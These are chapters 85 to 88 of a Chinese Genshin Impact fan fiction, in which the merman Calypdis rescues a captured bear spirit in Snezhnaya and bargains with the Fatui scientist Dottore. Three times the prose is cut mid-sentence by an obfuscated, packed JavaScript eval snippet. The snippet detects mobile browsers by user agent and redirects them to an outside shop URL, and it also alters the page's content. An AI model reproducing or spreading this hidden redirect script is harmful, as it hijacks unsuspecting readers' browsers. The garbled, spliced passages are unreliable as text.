但是卡吕普迪斯很从容的点头:“行啊,我陪你去。” “嗯?” “你这个心软的笨蛋,指不定被卖了还要帮人数钱,我得看着你点。”不就是去至冬吗,没问题,“距离海灯节还有两个星期,我想我们可以快点解决。” 静原笑了笑,不在意人类听到这话的表情:“那个东西的正式名称是叫邪眼,对吧?牵扯到的执行官应该是二席。这事很好解决,他国官方不能主动插手,但我们是非人,不用在意。” 说白了,非人类并不一定要遵守人类的规则,只是神明眷顾人类,非人往往是迫于神明的压力才收敛了自身的锋芒。阿列克谢也是非人,被抓住了是他自己本事不到家,死了也不算什么。但要是阿列克谢求救,这事就不能算了。 这个世界从来不止是人类的世界。 静原倒要看看他布下的封印又是哪个王八犊子打开的。 85.至冬短途 那维莱特对于眷属的出游申请似乎很不意外。这倒也是,毕竟那封信是经过他手才得以找准了收件人。 今时不同往日,那维莱特对于卡吕普迪斯去至冬这件事并不反对,甚至有心情叮嘱他:“上次的水很好喝,帮我多带几瓶。” 静原表示没问题,肯定早点回来。 他和几百年前相比实力长进不少,那维莱特作为龙王,早就感知到眷属的力量在至冬足以横着走,加上深渊裂界也有至冬官方控制,安全问题倒也不必多思。那维莱特对他还是信任的——这和明摆着知道去纳塔很有可能会死根本不一样。 如果七国都没有深渊威胁,如今的卡吕普迪斯就算是说想去天空岛玩一圈,那维莱特都会支持。 只要不涉及违法乱纪,水龙王向来溺爱眷属。 出门前和家长报告完毕,再去千织屋取之前定做的衣服。千织从特巡队那打听到他今天回来,火急火燎派人去沫芒宫请他来,说是衣服做好了快来试试。 按理来说平常定制一身都得是三个月起步,但挡不住静原不需要裤子,又是千织灵感缪斯。鸣雷的裁锦师就着大爆发的灵感给他做了两件连帽斗篷,一件束腰的大衣。 千织看着正对着穿衣镜左看右扭的鱼,满意的点点头:“卡吕普迪斯先生确实适合这种风格。” 厚实雪白的棉绒点缀布料边缘,白梅绣纹栩栩如生。 静原爱不释手:“太好看了,多少摩拉。” 千织说了个数字,他爽快付钱,捞起两件斗篷就走:“再帮我做条裤子吧,数据你应该有。我想要成套的。” 千织看了看他如今这条穿身上的蓝色裤子,不知道思索了些什么,点点头:“交给我吧。” 静原美滋滋的抱着两件斗篷去见海边等待的福勒依斯,把衣服交给她保管,然后就变回鱼尾驮着同样是本体形态的福勒依斯一路北上。人鱼形态在海中赶路的速度人类开船开得再快也赶不上。 不然你以为他凭什么能一天内往返沉玉谷和枫丹海?提瓦特实际版图可是很大的。 几百年没来至冬,刚到记忆中的码头,感觉真是改换天地了,繁荣程度和枫丹不遑多让。明明以前还是钢铁巨兽吐息着浓浓黑烟,如今早就用上了更加现代化的交通工具,长长的列车“轻巧”的疾驰而过。 裹着毛茸茸斗篷,揣着暖手袋的两位水族表情一模一样,呆愣愣盯着那车,同时吸鼻涕。 “这样的巨兽在城外行驶,万一来贼人炸掉轨道,那损失……”福勒依斯提出假设,吓了个哆嗦。 静原倒是努努嘴:“那边有愚人众盯着呢。再说咱们两个门外汉都能想到的问题,至冬高层肯定也知道。算了这和我们没关系,去找阿列克谢吧。他说他在哪来着?” 趁着城门守卫没发现两个鬼鬼祟祟的陌生水族前,他俩绕开人类的视线一路摸进至冬大森林,福勒依斯被眼前的景象吓一大跳。曾经高林密布的森林半壁江山都只剩下光秃秃的树桩,干涸的河床裸露在天地间,皑皑白雪覆盖深色的石块与土地。 沿着干涸的河床继续前进,污浊的、魔神残渣的气息和另一种诡异的力量交融,福勒依斯脸蛋皱巴巴,活像生吞柠檬一样。 “太脏了……”久居沉玉谷的纯水精灵皱眉,表达自己的不喜,“冰之女皇就这样放任水脉和森林被污染吗?” 静原弯腰捡起碎裂的半块矿石:“为了更强大的力量,这种[牺牲]是必要的。” 某种程度来讲他很能体会这种压榨环境只为了更多资源的政策,毕竟国家要发展只能汲取目光所及的一切自资源,用完了就会向外扩张,冰神没发起侵略战争就算不错了。 纯水精灵不太能理解,但也无意争执:“好吧,人类和神明只管发展,净化这种事就落到了我们的头上。阿列克谢说,他被抓走前森林里的长生种几乎都在用自己的力量维系森林的核心,现在的情况就不清楚了。” 静原捏碎那块矿,粉末簌簌落下:“有没有信物之类的?” “这个蜜蜡琥珀项链可以吗?” “好啊,你们两个居然交换了信物!!!”他像个辛辛苦苦种白菜结果一觉醒来发现野猪来拱的愤怒农夫。 “笨蛋卡吕普迪斯!这只是普通的朋友的礼物!!”福勒依斯无能狂怒,“容师傅他们打趣你又起什么哄啊!我才不是几百岁出头的小年轻啥也不知道!” 静原一边生气一边感受蜜蜡琥珀中蕴含的至冬熊阿列克谢的力量:“我跟你讲我不允许你远嫁至冬的,天寒地冻没花也没草,人类还乱搞污染,等天理一个钉子砸下来就都老实了……嗷!” 福勒依斯收回踢他屁股的脚:“快找。” 被压迫的静原气得咬牙切齿,终于顺着那点微薄的气息锁定了坐标:“这哪啊这……怎么在西北方向?” “那里是冰原,对棕熊来说太冷了。”福勒依斯毕竟在至冬生活了百来年,对周围还是有些了解的,“阿列克谢怎么会去那里?” 之前明明在信里写会在森林等她。 “八成又被抓了,走吧。”救熊要紧,静原也不跟她闹,拽着福勒依斯就在森林里疾驰,嫌她这么大个碍事,又团吧团吧弄小点揣怀里。鞋底踩着厚厚的雪,吱呀吱呀的,像是啮齿类小动物啃咬的声音。 冰原靠近北部的峡湾,以前他们曾在这里看过极光。冬天正是冰层最厚的季节,踩上去只会打滑不会碎冰。 有人用驼鹿和北地犬拉雪橇,在冰面上扑腾半天摔了个四脚朝天的静原连滚带爬赶过去,奋力抬手伸出摩拉袋:“拉我一把,我快摔骨折了。” 带着帽子,裹着厚实熊皮大衣的至冬汉子低头一看,没管摩拉袋,而是抓着这个陌生人手腕把他提起来:“小兄弟,哪里疼不?要不找医生看看?” 这年轻人一抬头,至冬汉子被骤然出现在视野里的美貌惊得半天说不出话来。蓝色的长发与湖蓝的瞳,皮肤白得像雪,只有嘴唇和鼻尖带着点血色。就像至冬童话里的精灵一样美丽,单看脸难以辨认雌雄。盯着那双眼睛久了,仿佛置身静水湖畔,如梦似幻。 精灵眉眼温润:“没伤着骨头。谢谢您拉我一把,不知道怎么称呼?” “叶戈尔。您是从哪来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449949|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我叫福勒依斯,是这地的纯水精灵。”蓝发的精灵微笑,“至冬的森林出了好大的问题,我想出门找同族帮忙,结果您也敲见了,摔了个大马趴。唉……太久不用人类的身体是这样的。” 在他怀里连带着晕晕乎乎的福勒依斯没了说话的力气,颤颤巍巍的竖起中指。她走路可没有一分钟摔三次。 叶戈尔是个再平常不过的至冬男人,幼时也曾听父母讲过森林里水族的精灵净化污染,送迷失的孩子归乡的故事,瞧见这青年模样美貌不似凡人,已经信了三分。后来的聊天里,[福勒依斯]向他展示了水族的力量,叶戈尔这才深信不疑。 静原很快得知至冬森林被愚人众围起来征用,南边的工厂彻夜不休的制造军用品的事。这在至冬不是秘密,对静原来说也没有什么大用。 叶戈尔叹了口气:“本来这样的天气,冰原也没有多少人会横跨往返。要不是前阵子愚人众挨家挨户搜查,来来往往的愚人众多了,我和镇子里的几个人白日都得来这附近等候,以备不时之需。可怜我的鹿和我的狗,真遭罪啊。去年这个时候它们还围着火炉睡觉呢。” “愚人众?”静原很好的扮演了一个不谙世事的纯水精灵的形象,“就是那些女皇的人类部下吗?森林里有他们不奇怪,为什么冰原也会有。” “好像是找什么东西,上头的心思谁猜得中?”叶戈尔叹气,驱使着北地犬继续往前奔跑,“应该是个活物,不然也不会到处乱窜惹得人抓了。” 呼啸的风里都带着冷冽的寒意,静原裹紧斗篷把自己缩成一团,叶戈尔用自己的躯体给他挡风。 “水的精灵,也怕冷吗?” “当然,冰元素可以冻结水。至冬太冷了,感觉心脏都被冻凝住了。” 至冬的风雪经年不休,冰元素顺着呼吸侵入五脏六腑,不做任何准备就出门的人类顷刻就能化为冰雕冻成冰坨子。非人类能抗一会,但抗不了多久。 真的太冷了啊。 来到了冰原另一边,他跳下车支付了一些摩拉:“叶戈尔先生,别推拒。回家买些糖和酒吧,寒冷的日子里总该有些甜蜜和高兴的事。” 叶戈尔到底没拒绝摩拉,抖了一下缰绳:“明天下午我还会来这里,如果您想回去,我载您一程。” “好啊,那就多谢您了。”他只是微笑,那片湖水掀起涟漪。 叶戈尔驱使着他的驼鹿和北地犬走了很远才停下,猛的打个哆嗦:“……我怎么到这来了?”得快些回到之前的地方等候才行。 北地犬们汪汪呜呜几声,半趴在冰面上摇摇尾巴,对这个决定非常赞同。 人类离开后,福勒依斯从他怀里蹦出来阴阳怪气:“哟,福勒依斯先生~” “借你名字用用怎么了?我这趟来可没有官方的授印。”静原打了个喷嚏,“快走吧快走吧,趁早找到阿列克谢,把他带走。” 福勒依斯双手合十:“希望阿列克谢身上的伤还能撑得住,不要再被抓走了啊。” 至冬的怪人最多,会说话的熊没什么人害怕,指不定想抓住琢磨琢磨卖个好价钱——阿列克谢如是说。 86.阿列克谢与鸟头面具 阿列克谢,在至冬语里有【坚强】、【勇敢】、【保卫者】、【战士】等诸多正向含义。正因如此,至冬其实有不少人叫阿列克谢。 不过他们大多数会缀上先祖或者家族的姓氏,用来表明自己的出身和地位。 静原和福勒依斯要找的阿列克谢没有姓氏,熊精不需要这种人类社会的文化产物,他说自己叫“阿列克谢”,就是在告诉旁人:他是至冬大森林的【保卫者】,是至冬大森林的【战士】。 静原也是后来才品出这个意味来。 森林的【战士】被抓走,森林失去了【保卫者】,所以才会变成那种丑陋而疲惫的模样啊。 她以前是很美丽的,像是头戴明珠皇冠,穿着森绿长裙的女王。流淌在她躯体中的水脉即是血管,是长裙上点缀的金丝银线与珠宝。裙边的拱卫者们依赖她,保护她,壮大她的力量。枫丹来的小鱼也曾向她俯首,为她的葱郁而折服。 然而某一天,埋藏在深处的污染矿物再次重见天日,她不可避免的生出顽疾。看着那些曾畏惧她幽深的人类趁虚而入,撕裂了她的裙衫,扯下了她的王冠,珠宝失去了串联的线,于是迸溅四落,失去了应有的光彩。她也躺在了大地上任人宰割。簌簌白雪遮蔽她干裂的躯体,就像是此地的神明为她覆了一件蔽体的毯子。 森林的女王因为痛苦而哭泣,于是林间的风呼啸而过,树梢上的冰棱即是她被冻凝的泪水。 曾经是她仰慕者*的卡吕普迪斯低下头。 曾经是她珠宝匠的福勒依斯为她悲伤。 曾经是她保卫者的阿列克谢四处求援。 阿列克谢不止给福勒依斯一位写了信,他几乎给每一个早些年离开森林的非人类寄去了没有详细地址的信,有的信可能走不出至冬海,有的信可能折戟于异国海关,有的信会因为没有具体的地址而迷失,有的信可能没有人接收……但广撒网战术下,只要有一个收件人愿意回到森林就是值得的。 福勒依斯就是那个唯一收到了信而且选择回来帮忙的对象。 “快……四百年了吧。”福勒依斯仰头看着阴翳的天空,将眼泪逼回去,“这世道并不安宁,还有几个故友活着呢。” 就连你我也险些身死。静原没有说出这句话,只是叹气:“继续走吧,穿过风雪,阿列克谢应该就藏在前方。” 冰原上的风与雪开启盛大的狂舞,每一次裙摆飞扬都会掀起风雪暴,死亡的极寒亲吻落在了无法归家的每一个生灵额头。 福勒依斯眨眨眼:“你摸我额头干什么?” 静原面不改色:“担心你受寒发烧。” “太不走心了吧?纯水精灵是不会发烧的。” “忘了忘了……” 他们裹着斗篷在风雪中依偎前行,不知过了多久,天空才吝啬的泻出几缕光亮。风雪的死亡狂舞也落下了帷幕。 “居然还有人类?”福勒依斯眨了眨眼睛,不可置信的看向前方逐渐清晰的场景。人类建造了半圆的拱形雪屋,点燃篝火,将死亡的动物拖来解冻分割处理。其中巡逻和狩猎分工明确,他们几乎都穿着至冬大地上最常见的制服款式,“愚人众啊,不奇怪了。” 静原:“嗯?怎么说?” 福勒依斯振振有词:“愚人众出现在提瓦特哪里都不奇怪。” 这话越想越是那么回事,因为事实就是如此。你在野外探险的时候是不是经常能碰见守卫宝箱的愚人众? “要去打个招呼吗?”福勒依斯询问拿主意的那个。 “不想去也得去了。因为阿列克谢就在那里。”静原指着雪屋遗憾宣布,“这头熊果然还是被抓住了啊。” “好消息是,因为风雪的阻拦,他们抓到了阿列克谢的消息应该还没来得及传出去。” 福勒依斯大脑极速转动:“这是哪一支小队?如果不是【公子】和【仆人】的部下,那应该没有见过你我。” 【队长】也要算在其中。静原在心底默默补上这句话。 他开始解开斗篷脱鞋子:“我先去打探一下,见机行事。你藏起来把衣服处理了,然后找机会和我汇合。” “不是吧……”福勒依斯看他被冻得脸蛋发青,不知道用了什么办法,皮肤在几个呼吸间恢复了正常的血色,顿了顿,只能点头,“好,你要小心。” 于是静原给冰面砸出一个仅能容纳他一人进入的圆口,钻进去后没多久,圆口就被极寒的风雪修补。福勒依斯抱着斗篷衣裳在满目白茫茫的天地里找到了凸起,然后轻手轻脚的爬过去。 正常海洋哺乳动物是需要频繁浮出水面换气的,所以冰面上会有它们顶出来的呼吸孔,这是至冬人的常识。 人鱼不知道算是个什么物种,大多数听到了这个称呼的人类第一反应大概会是人鱼也需要呼吸吧?如果看见人鱼顶破冰层钻出来爷没那么奇怪,对吧? 冰原最初就是地上的海,只是冰之女皇的威能太大,此地风雪久久不散,于是冰海变为了冰原。变回尾巴,穿回那身最古朴,看不出任何国家风格白上衣的静原在冰层下的海水里向前摸索。直到他估算出合适的距离,抵达愚人众驻扎地前方时,才用拳头一下子给头顶的冰层轰出个窟窿来。 他在海中能明显感受到愚人众的躁动,以及在浅海区无头苍蝇般乱转的生命的靠近。 那些白鲸与海豚凑了过来,本能让它们畏惧海洋的霸主,却也信赖他的选择。争先恐后的靠近,新生的幼崽被不约而同的推到了最前方。 那些庞大的生灵祈求道:求求您,求求您让新生的孩子们使用您开辟出的呼吸孔。 不对幼崽出手是世界的共识,弱肉强食的森林法则也无言的默许了这条。可这举动仍然是一场豪赌。 幸运的是,这些大家伙赌对了。 静原抬手又哐哐哐砸了几个呼吸孔,这一块的冰层甚至在人鱼最为原始粗犷的蛮力下整片碎裂开来,破开了此地神明的禁锢。 海洋的生命为此欢呼,风雪依旧冰寒,可呼吸到了曾经稀薄的空气,极寒也不再难熬。 这边的动静理所当然的吸引了戒备的愚人众全体的注意力。 “冰层怎么裂开了?” “等会怎么回去?剩下的冰面也不安全了吧?” “长官那边有什么吩咐?” “这些鲸鱼海豚要驱逐,或者杀死吗?” “那个蓝头发的是什么?人类怎么会泡在海水里?会被冻死的!” 最后一句话让静原成为众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459022|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的聚焦点,一开始还有愚人众奉命打捞他,他也顺从的靠过去了,然后那条蓝色的尾巴就“不经意间”暴露在人类的视野中。 “那是什么?”愚人众中有人轻声询问,“人类的上半身,和鱼的下半身?” 会是……那位大人的某次成果吗? 静原也赌对了,这支小队不属于【队长】【仆人】【公子】三人中任何一个名下。 但他有点倒霉,因为这是某个有名的科学狂人手下的极地探险队。 更不幸的是,科学狂人的一部分正在注视着他。 静原和戴着鸟头面具的人隔空对视,鸟头面具怪人从雪屋中走出,明明是极寒的天气,却只穿了件单薄的深蓝色衬衣与灰色长裤,皮质绑带束缚上身。 他好像刚放下手头的事。 静原抿了抿嘴唇。完蛋,好像被识破了。 “您*似乎让我的‘丰功伟绩’又多了一项,即便那不属于【我】。”鸟头面具怪人轻笑着,似乎心情不错,“需要自我介绍一下吗?布下森林封印的……客人?” 封印是他解开的。静原心里已经笃定这一点,暗骂王八犊子:“众生行走世间总会使用一个称呼来指代自己,那么您的名字是什么?” “看来您还不识【我】的名字,倒也在情理之中,毕竟此前您与【我】并没有正面交流。【博士】,您可以这样称呼我。” 静原没有说话。因为紧张,所以大脑一片空白。 “要上来吗?客人。您好像不太适应至冬的气候。”鸟头面具怪人,阿不,【博士】从容发问。 好奇怪。 直觉告诉静原【博士】的态度很奇怪,他每一次说出“客人”这个词的时候,都像是取代了他本来想说的那个称呼。 是什么呢? 对【博士】知之甚少的静原选择点头,于是他被愚人众里的雷锤打横抱起来,送进了雪屋。 而此前在外等候的福勒依斯眨眨眼,化身一粒水珠融入大海,顺着被捞起的人鱼一起离开,成为挂在鱼尾上的一滴水珠。 愚人众当然不会给人鱼细细擦拭尾巴上冰冷的海水,他们直接将静原抱进了雪屋,里面另有乾坤,根本不像外部看上去那样狭小。 居然有透明的玻璃缸——那是玻璃吗?不是吧?极寒的天气玻璃脆得跟什么似的。 反正静原被放到了透明的缸里,又有愚人众提着两大桶带着冰碴的海水进来,倾倒其中,然后再提水,再倒。如此反复,直到那口缸里的水没至静原半腰,雷锤才退到角落。 静原嫌弃的把冰块捞出来,丢进铁桶里。这本该是研究人讨厌的噪音,不过【博士】竟然也准许了。 “您没有什么话想问吗?” “太冷了,大脑无法思考,等我暖和一会吧。” “看来我破坏了您的计划,需要说一声抱歉吗?” “不用,一时兴起的决定,不需要旁人为我买单。您也一样。” 鸟头面具怪人又开始笑了,他有着一头静原很喜欢的薄荷蓝色短发,卷卷的,很漂亮。 像一块香喷喷的薄荷果冻,又像一块涂满薄荷蓝奶油的小蛋糕。静原无端猜想。 鸟头面具怪人不明显的向后靠了一点。 87.鱼片预订中 静原趴在缸边,托腮看着鸟头面具怪人摆弄一些器械药剂。福勒依斯变成的小水珠躺在他尾巴上休息,毕竟室内并没有外面冷。 他有些好奇:“至冬寒冷的天气,这些器械真的能够保证精准度吗?” “客人,室内的温度可还没有让这些娇贵的仪器失去工作的能力。”鸟头面具抖了抖手上的一管血,暂时将其放在架子上,转过头来靠近人鱼,“您似乎有些无聊?” 人鱼歪了歪头,就像自然界很多哺乳类小兽为了听清声音而歪着头接受信号一样。他有一双明亮而澄澈的眼睛,【博士】心想,连我都能一瞬间联想到地上广袤的大湖。 几乎是被一个地区打上了烙印啊。不过,如此珍贵的实验样本,被明晃晃的宣誓主权倒也在情理之中。 只要…… “需要我陪您聊会天吗,客人?”我珍贵的实验样本。 于是变成了鸟头面具坐在椅子上和静原四目相对的情况。雪屋内没有明火,可依旧比外面温暖,稍微穿厚些就能抵御寒冷。静原看着这人的单薄衬衫与长裤,慢慢的将其排除人类这个种族选项。 “我很好奇,您是否为广义定义上的人类?”静原动了动手指,尖锐锋利的指甲指向对面的家伙,“请告诉我吧,【博士】,这对我很重要。” 【博士】微笑:“人类的定义可以从生论派(生物学)和因论派(社会学)等多个角度进行分析。我有人类的基因、人类的躯,使用语言进行复杂的社会沟通交流合作,具有复杂社会结构和高度组织能力……为何不是人类呢?” 静原疑惑:“是吗?” “当然了,客人。不过,一直都是我在回答您的问题,这似乎不太公平?” “您也会提起【公平】这样的词吗?” “您对我的偏见未免太深了。【我】从一开始,就在追寻【公平】啊。” 于是人鱼点头:“请您向我发问。” 于是博士微笑:“我向您发问,名为【卡吕普迪斯】的人鱼,是否触及到了【命运】?” 真奇怪。 静原心想,居然一上来就问这些不得了的问题。果然之前还是收敛了太多啊…… 不知何时,室内的愚人众士兵全都离开,明面上只剩下他们两个。 “提瓦特的命运是高天的棋盘,众生皆为棋子。如果按照您的提问,我大可以回答‘当然,因为你我皆是命运的安排’。” “可您没有,因为您的性格决定了您不喜欢语言上的陷阱与圈套。” “您真聪明,我开始有些喜欢您了。”人鱼笑起来,“所以,答案是肯定的。” “如果我的外貌更年幼些,或者更像末席,也许真的会将您的喜欢全盘接纳。”可他不是,“真糟糕啊。” 抛却情感的喜爱,剩下的只有身体本能的欲望。博士不觉得人鱼会有繁衍的爱欲,于是只剩下兽类最原始的食欲。 人鱼想要吃掉可怜的鸟头面具怪人。人鱼自己都不清楚这点的时候,【博士】却先一步感受到了生命的威胁。那种感觉很奇妙,好像你不是个人,而是一盘被打上标签的菜。人鱼坐在不远处,等待着回转餐厅的轮转带将菜送到他面前。这个时候人鱼是如此的“乖巧”,和人鱼在纳塔的表现完全不相符。 静原只是奇怪:“我的喜欢这么拿不出手吗?” 鸟头面具推拒:“太沉重了,容我——” 拒绝这个单词没有说出口,因为人鱼的湖蓝色眼睛盯紧了他的喉咙。于是鸟头面具硬生生转折:“思考一段时间。” 静原耸耸肩,随便你咯:“您对命运如此感兴趣,和此地神明的伟大愿望有关系吗?” 居然用【伟大】来形容…… “当然,女皇陛下的意志即是我等前进的方向。我自己也有想要达成的目标,很遗憾,高天的【命运】阻拦了我。” 这样的话显然取悦到了人鱼,于是人鱼抚掌赞许:“真是了不起,我会为您祈祷。” 不过,“只有这些想问的吗?”人鱼微笑,“趁我的喜爱还未散去,您可以尽情发问。” 真是傲慢。不过有傲慢的资本。 【博士】知道这条远道而来的人鱼的目标是什么,那头熊在隔间酣睡,迷醉效果的解除还有不到一刻钟。人鱼这种嗅觉和感知都远超人类的物种理所应当的知晓这些,对他的的“喜爱”也只能持续到迷醉效果解除那一刻。 他容许他在语言上尽情试探,但并不妨碍他要达成他的目标。 而想要达成【我】的目标,需要拿出更多的筹码……鸟头面具怪人嘴角上扬:“感谢您的仁慈。我想知道,卡吕普迪斯人鱼在提瓦特,是否有且仅有一条。” 都已经到了用我名字给种群命名的地步,当然只有我一条人鱼咯。静原颔首:“当然。如果您有办法扩大我的族群,我想我会感谢您。” “理论上的种群繁衍办法对您无用,毕竟缺少母体来进行孕育活动。”快问我快问我。 “我从原始胎海诞生,那曾是一切地上生物的起源,其他从胎海走出的元素生命通常不需要寻找伴侣进行复杂的□□繁衍活动。族群的壮大还可以通过【进化】来完成。”我不需要寻找配偶,我想要【进化】。 “【进化】是个漫长的过程,目前已有的实验数据由水龙蜥提供,不同环境下的水龙蜥会有不同的姿态。其繁衍而来的子嗣皆继承了其姿态特性。”鸟头面具说,“您想要扩大族群,却忽略了繁衍呢。”快问我啊。 “那您有什么办法呢?” 这句话问出来,终于到了博士期待的环节,他站起身来摊开手:“容我向您展示,愚人众执行官第二席【博士】的最新作品。” 人鱼很给面子的鼓掌:“把自己分成多份吗?真是了不起的技术。” 他想到了克隆,博士用的技术和那个有点相似吧? “您要尝试吗?【我】已经亲身经历过至少25次成功的改造,您面前的是博士大人最新的作品,可还满意。” 智力没问题,情商没问题,身体没问题。“满意。”静原又开始幻视这是在推销了,“我可以定制一套吗?” 博士:?虽然这也是我的目标,但你未免太从容了。 博士:“您是想给自己分成多份?”多托雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466577|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没自恋到给别人自己的切片。 “您也很想要我的身体组织和血液样本吧。正好我也对您的这种技术……” “是切片。”博士纠正。 “好,切片。正好我也想要一个属于我的切片,不需要多么强大,多么精致,甚至不需要灵魂和意志,只要身体结实,可以吗?”静原向他伸出手,“作为代价,您可以取走您需要的样本。” 心心念念的,珍贵的实验样本就在眼前,博士明知有问题,却也忍不住伸出手,戴着手套的手掌与人鱼的爪相握:“需要我念出璃月的祷词吗?比如摩拉克斯在上,契约成立?” 人鱼只是微笑:“我信任您。” 信任,多么美妙的词。 博士的笑容越来越大,露出了和静原神似的一口鲨鱼牙:“期待和您再见,卡吕普迪斯先生。” 被放回冰原海的人鱼得到了他想要的结果心满意足的带着水珠形态的福勒依斯与此地徘徊的鲸群离开。 破开冰层,鲸群欢唱,海豚跃出海面,静原将它们护送到峡湾,这才折返回到雪屋。 人鱼变成人类的模样,穿着厚实的斗篷与靴子站在迷迷糊糊的棕熊旁,两手拢起袖子揣胸前:“他什么时候才能醒?” 博士不知何时已经披上了大衣:“下一秒。” 棕熊应声艰难的掀开眼皮,吐出类似梦话般的呓语:“福勒依斯……?” 他看不清眼前,只注意到蓝色的长发和蓝色的眼睛。 窝在静原怀里的福勒依斯打了个哈欠,没办法现在出来和阿列克谢说话。于是只能交给静原:“真是精致的把控。好了阿列克谢,跟我走吧。” “去哪?”阿列克谢躺在推车上,被四个愚人众士兵合力推出雪屋,叫外面的寒风一吹,勉强精神了些,只是四肢还使不上力气。 “去温暖的地方。至冬太冷了,不适合棕熊居住。”静原仰头看灰白天空簌簌降落的雪花,对博士点点头,然后单手拖着拖着带走了阿列克谢。 冰原的冰层本来被他破坏了大半。不过至冬的极寒天气能在最短时间内重塑冰层,拖着阿列克谢走倒也不费什么力气,就是手冷。 “我跟你讲福勒依斯,今年海灯节我的食宿你全包。”静原咬牙切齿,怎么就没顺走博士的手套呢? 走远了些福勒依斯才变回来——她这些仙法已经是学到炉火纯青的地步了:“好好好,我全包。话说,你跟那个鸟头面具做交易真的没问题吗?” 福勒依斯猜到静原可能是为了另一个[卡吕普迪斯]做准备,所以没有明确反对。但这样轻易的把身体血液组织交给陌生人,也太宽心了吧? 静原只是吭哧吭哧的走路,风雪里说话都是一嘴冰碴子:“随便他怎么造,最终造出来的都只会是个怪物。” 因为我的本质就是海怪,没有王的敕令,海怪的本性就是破坏。至冬环海,切片往哪里跑都没问题。 博士想要研究我,那就让他研究好了。静原对此没什么想法,毕竟自己想要的也只是一具躯体。 完全依靠直觉做事的莽夫静原又在无意间给未来的自己铺路。 88.鱼片构想 静原丝毫不担心自己的切片从博士手中诞生会遭遇什么。 如果切片拥有和他一般的记忆,那么切片会清晰的知道要逃走。 如果切片没有他当初的记忆,切片就是生来属于海洋的海怪,会不惜一切代价返回海洋。 无论博士是否给切片洗脑,本能都会催促切片做出最正确的选择。他不觉得博士能够和稳稳压制不被【守护】束缚,完全施展天性的人鱼。 静原是深海的大守护者没错,可人鱼切片不是呀。切片就是切片,是完完全全不受规则束缚的,食物链顶端的猎食者之一。如果博士想要对切片做什么,可能在静原赶来前就被撕咬至死了。就算死的是切片,那和静原又有什么关系呢? 因为只是一个切片啊,又不是静原自己躺上了手术台。 如果博士没有做什么手脚,那皆大欢喜。博士取得了他想要的珍贵实验样本,静原也能带走阿列克谢,准备获得一具可供使用的躯体。 “你对一个此前从未有过交流的成年男性未免太过纵容。这和你之前的风格不相符啊。”福勒依斯很好奇,“我一开始以为你会直接抢走阿列克谢的。” “因为我确实很喜欢他啊。你不觉得他头发的颜色很漂亮吗?很美的薄荷蓝。而且他明明害怕我,却不得不强行镇定,并且试图和我做交易,试图把我引到他设想的思维轨道上的行为,称得上勇敢。”静原摸摸下巴,“很有趣。” 虽然那家伙是打开封印,挖出矿石制造污染的凶手,但不妨碍静原保持这种堪称诡异的怜爱心理。 福勒依斯搓搓胳膊:“你好怪啊……不过手头的时候处理完了,其他的你有想法吗?” 比如至冬大森林的污染…… “我不是什么圣人,阿列克谢。”静原看向已经恢复了力气,站起身来的棕熊,“当年我为矿洞布下封印,本意就是叫后来者知晓危险存在,以此警告意外闯入者。是人类自己主动解开的封印,主动去使用危险而强大的工具,主动抓走你,只是为了收集非人类被邪眼污染的实验数据。无论最后变成什么样子,我都不会再管,因为那是至冬的事。” 是女皇放任她的执行官和军队这样做,为了她伟大的愿望,为了更伟大的利益。因为一切牺牲皆有其价值*。那他们这些外来长生种还管什么? “森林已经处于毁灭的边缘,你也不适合居住在那里见证她的末路。跟福勒依斯走吧。”静原懒得理会棕熊内心的纠结,强硬的把他打包带走,返回枫丹璃月也不能走官道。毕竟他们来时就没有在明面上露面——相信博士那里会封锁消息的。 博士不是蠢人。 他知道自己为什么不讨厌博士了。明明枫丹那么多蔑视法度与伦常的科学家也不在少数,他都能一棒子送进梅洛彼得堡——因为博士没有把手伸到枫丹,没有把手伸到他的领地来。所以无论博士干了什么,他都不怎么在意,反而能欣赏博士切片的美貌。 博士要是在枫丹科学院做事,光凭其“丰功伟绩”就足够静原提着法杖给他碾成肉酱了,哪能心平气和坐下来沟通交流。 静原明白这点,真是一刻都不想在雪国的土地上久留。水也没法给那维莱特带——全是污染喝个毛线。 不过从至冬往枫丹游,途中岛屿上的泉水或者湖水可以打包几瓶,福勒依斯还找了些果子和蜂巢供一直保持本体形态棕熊阿列克谢食用。 “谢谢。”阿列克谢是典型的至冬汉子性格,沉默而稳重。 福勒依斯心疼的摸摸棕熊脑袋上打结的毛发:“当年就应该带着你一起走……” “咳咳。”静原表情不善,“我还在这呢。” “好了卡吕普迪斯,你明明知道我和阿列克谢都没那个意思。人类喜欢往爱情的方面想,为什么你也会这样?”福勒依斯抱抱阿列克谢,“两次见面都很急促短暂,好像没有给你们好好的互相介绍。” 